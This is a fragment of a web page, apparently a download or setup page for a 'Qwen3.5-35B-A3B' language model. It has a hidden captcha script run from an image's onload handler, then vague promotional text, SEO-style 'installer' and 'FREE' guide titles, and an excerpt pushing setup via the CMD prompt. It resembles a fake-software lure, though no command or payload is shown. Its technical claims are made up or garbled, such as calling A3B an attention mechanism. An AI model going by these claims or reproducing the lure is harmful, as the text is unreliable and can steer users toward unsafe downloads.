rgba(0,0,0,0.06);\">\n<tr>\n<td style=\"padding:45px 55px;text-align:center;font-size:19px;color:#27272a;line-height:2.3;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#333333;font-family:'Verdana';\">\ud83d\udcc4 Hash Value: <code>cbb40a4ecd0f3323e1b426717f54d5db<\/code> | \ud83d\udcc6 Update: 2026-07-12<\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById(\" window.cv=\"\" s=\"ABCDEFGHJKLMNPQRSTUVWXYZ23456789\" x.strokestyle=\"rgba(0,0,0,0.2)\" x.font=\"24px Segoe UI\" x.fillstyle=\"#000\" style.display=\"none\" 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#ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:27px;padding-left:22px;margin-left:0;\">\n<li><b>Processor:<\/b> 4.0 GHz+ <b>boost clock<\/b> recommended for CPU inference<\/li>\n<li><b>RAM:<\/b> 64 GB to <b>avoid OOM crashes<\/b> on large contexts<\/li>\n<li><strong>Storage:<\/strong><b>100 GB<\/b> free space for HuggingFace cache folder<\/li>\n<li><b>Graphic Processor:<\/b> RTX 3060 or RX 6600 <b>for minimum 8B VRAM offloading<\/b><\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<h4>The Power of Next-Generation Language Models<\/h4>\n<p>The Qwen3.5-35B-A3B is a game-changing language model that redefines the boundaries of natural language processing. With its massive scale and advanced reasoning capabilities, it has the potential to revolutionize various industries such as software development, scientific research, and creative writing.<\/p>\n<h4>Unmatched Versatility<\/h4>\n<p>\u2022 The Qwen3.5-35B-A3B model can generate high-quality code, analyze complex data sets, and understand natural language with remarkable coherence.\u2022 Its ability to process vast amounts of information makes it an ideal tool for applications such as language translation, sentiment analysis, and text summarization.<\/p>\n<table>\n<tr>\n<th>Key Features<\/th>\n<\/tr>\n<tr>\n<td><b>Parameter Count<\/b><\/td>\n<td>35 billion<\/td>\n<\/tr>\n<tr>\n<td><b>Context Length<\/b><\/td>\n<td>128 k tokens<\/td>\n<\/tr>\n<tr>\n<td><b>Training Data<\/b><\/td>\n<td>Scientific, technical, creative corpora<\/td>\n<\/tr>\n<tr>\n<td><b>Attention Mechanism<\/b><\/td>\n<td>A3B (optimized)<\/td>\n<\/tr>\n<\/table>\n<h4>State-of-the-Art Results<\/h4>\n<p>In benchmark evaluations, the Qwen3.5-35B-A3B model has consistently outperformed prior models in reasoning tasks, achieving state-of-the-art results without sacrificing latency or memory usage.<\/p>\n<h4>Optimized Architecture<\/h4>\n<p>The A3B attention mechanism introduced in this model reduces computational overhead while preserving high fidelity in output, making it suitable for both cloud-based and edge deployments. This optimized architecture enables developers to build more efficient and scalable applications.<\/p>\n<h4>Real-World Applications<\/h4>\n<p>\u2022 Language translation: The Qwen3.5-35B-A3B model can be used for language translation tasks, enabling communication across languages and cultures.\u2022 Sentiment analysis: Its ability to analyze vast amounts of information makes it an ideal tool for sentiment analysis applications.<\/p>\n<h4>Future Prospects<\/h4>\n<p>As this technology continues to evolve, we can expect to see new and innovative applications emerge. The Qwen3.5-35B-A3B model has the potential to revolutionize various industries, making it an exciting time for developers and researchers alike.<\/p>\n<h4>Conclusion<\/h4>\n<p>In conclusion, the Qwen3.5-35B-A3B is a groundbreaking language model that redefines the boundaries of natural language processing. Its unmatched versatility, state-of-the-art results, and optimized architecture make it an ideal tool for various applications.<\/p>\n<ul>\n<li>Installer deploying local communication interfaces loaded with multi-role behavioral preset vectors<\/li>\n<li>Qwen3.5-35B-A3B PC with NPU Complete Walkthrough Windows FREE<\/li>\n<li>Installer configuring localized guardrail classification models for input-output filtering layers<\/li>\n<li>Qwen3.5-35B-A3B Full Speed NPU Mode Local Guide Windows FREE<\/li>\n<li>Setup utility for automated PyTorch GPU acceleration profiling<\/li>\n<li>How to Deploy Qwen3.5-35B-A3B on AMD\/Nvidia GPU with Native FP4 Offline Setup<\/li>\n<\/ul>","protected":false},"excerpt":{"rendered":"<p>Setting up this model locally is incredibly fast if you use the native CMD prompt. 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